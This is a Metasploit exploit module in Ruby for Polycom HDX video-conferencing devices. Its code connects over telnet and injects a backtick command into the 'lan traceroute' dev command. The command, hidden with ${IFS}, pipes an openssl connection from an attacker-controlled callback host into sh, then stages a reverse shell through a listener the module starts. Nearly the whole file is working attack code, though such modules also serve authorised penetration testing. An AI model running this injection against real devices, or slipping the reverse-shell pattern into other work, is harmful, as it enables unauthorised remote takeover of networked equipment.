1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::Tcp
10

11
  def initialize(info = {})
12
    super(
13
      update_info(
14
        info,
15
        'Name' => 'Polycom Shell HDX Series Traceroute Command Execution',
16
        'Description' => %q{
17
          Within Polycom command shell, a command execution flaw exists in
18
          lan traceroute, one of the dev commands, which allows for an
19
          attacker to execute arbitrary payloads with telnet or openssl.
20
        },
21
        'Author' => [
22
          'Mumbai',
23
          'staaldraad', # https://twitter.com/_staaldraad/
24
          'Paul Haas <Paul [dot] Haas [at] Security-Assessment.com>', # took some of the code from polycom_hdx_auth_bypass
25
          'h00die <[email protected]>' # stole the code, creds to them
26
        ],
27
        'References' => [
28
          ['URL', 'https://staaldraad.github.io/2017/11/12/polycom-hdx-rce/']
29
        ],
30
        'DisclosureDate' => '2017-11-12',
31
        'License' => MSF_LICENSE,
32
        'Platform' => 'unix',
33
        'Arch' => ARCH_CMD,
34
        'Stance' => Msf::Exploit::Stance::Aggressive,
35
        'Targets' => [[ 'Automatic', {} ]],
36
        'Payload' => {
37
          'Space' => 8000,
38
          'DisableNops' => true,
39
          'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'telnet generic openssl' }
40
        },
41
        'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
42
        'DefaultTarget' => 0,
43
        'Notes' => {
44
          'Reliability' => UNKNOWN_RELIABILITY,
45
          'Stability' => UNKNOWN_STABILITY,
46
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
47
        }
48
      )
49
    )
50

51
    register_options(
52
      [
53
        Opt::RHOST(),
54
        Opt::RPORT(23),
55
        OptString.new('PASSWORD', [ false, "Password to access console interface if required."]),
56
        OptAddress.new('CBHOST', [ false, "The listener address used for staging the final payload" ]),
57
        OptPort.new('CBPORT', [ false, "The listener port used for staging the final payload" ])
58
      ]
59
    )
60
  end
61

62
  def check
63
    connect
64
    Rex.sleep(1)
65
    res = sock.get_once
66
    disconnect
67
    if !res && !res.empty?
68
      return Exploit::CheckCode::Unknown
69
    elsif res =~ /Welcome to ViewStation/ || res =~ /Polycom/
70
      return Exploit::CheckCode::Detected
71
    end
72

73
    Exploit::CheckCode::Unknown
74
  end
75

76
  def exploit
77
    unless check == Exploit::CheckCode::Detected
78
      fail_with(Failure::Unknown, "#{peer} - Failed to connect to target service")
79
    end
80

81
    #
82
    # Obtain banner information
83
    #
84
    sock = connect
85
    Rex.sleep(2)
86
    banner = sock.get_once
87
    vprint_status("Received #{banner.length} bytes from service")
88
    vprint_line("#{banner}")
89
    if banner =~ /password/i
90
      print_status("Authentication enabled on device, authenticating with target...")
91
      if datastore['PASSWORD'].nil?
92
        print_error("#{peer} - Please supply a password to authenticate with")
93
        return
94
      end
95
      # couldnt find where to enable auth in web interface or telnet...but according to other module it exists..here in case.
96
      sock.put("#{datastore['PASSWORD']}\n")
97
      res = sock.get_once
98
      if res =~ /Polycom/
99
        print_good("#{peer} - Authenticated successfully with target.")
100
      elsif res =~ /failed/
101
        print_error("#{peer} - Invalid credentials for target.")
102
        return
103
      end
104
    elsif banner =~ /Polycom/ # praise jesus
105
      print_good("#{peer} - Device has no authentication, excellent!")
106
    end
107
    do_payload(sock)
108
  end
109

110
  def do_payload(sock)
111
    # Prefer CBHOST, but use LHOST, or autodetect the IP otherwise
112
    cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])
113

114
    # Start a listener
115
    start_listener(true)
116

117
    # Figure out the port we picked
118
    cbport = self.service.getsockname[2]
119
    cmd = "devcmds\nlan traceroute `openssl${IFS}s_client${IFS}-quiet${IFS}-host${IFS}#{cbhost}${IFS}-port${IFS}#{cbport}|sh`\n"
120
    sock.put(cmd)
121
    if datastore['VERBOSE']
122
      Rex.sleep(2)
123
      resp = sock.get_once
124
      vprint_status("Received #{resp.length} bytes in response")
125
      vprint_line(resp)
126
    end
127

128
    # Give time for our command to be queued and executed
129
    1.upto(5) do
130
      Rex.sleep(1)
131
      break if session_created?
132
    end
133
  end
134

135
  def stage_final_payload(cli)
136
    print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")
137
    cli.put(payload.encoded + "\n")
138
  end
139

140
  def start_listener(ssl = false)
141
    comm = datastore['ListenerComm']
142
    if comm == 'local'
143
      comm = ::Rex::Socket::Comm::Local
144
    else
145
      comm = nil
146
    end
147

148
    self.service = Rex::Socket::TcpServer.create(
149
      'LocalPort' => datastore['CBPORT'],
150
      'SSL' => ssl,
151
      'SSLCert' => datastore['SSLCert'],
152
      'Comm' => comm,
153
      'Context' =>
154
      {
155
        'Msf' => framework,
156
        'MsfExploit' => self
157
      }
158
    )
159

160
    self.service.on_client_connect_proc = proc { |client|
161
      stage_final_payload(client)
162
    }
163

164
    # Start the listening service
165
    self.service.start
166
  end
167

168
  # Shut down any running services
169
  def cleanup
170
    super
171
    if self.service
172
      print_status("Shutting down payload stager listener...")
173
      begin
174
        self.service.deref if self.service.is_a?(Rex::Service)
175
        if self.service.is_a?(Rex::Socket)
176
          self.service.close
177
          self.service.stop
178
        end
179
        self.service = nil
180
      rescue ::Exception
181
      end
182
    end
183
  end
184

185
  # Accessor for our TCP payload stager
186
  attr_accessor :service
187
end
188

189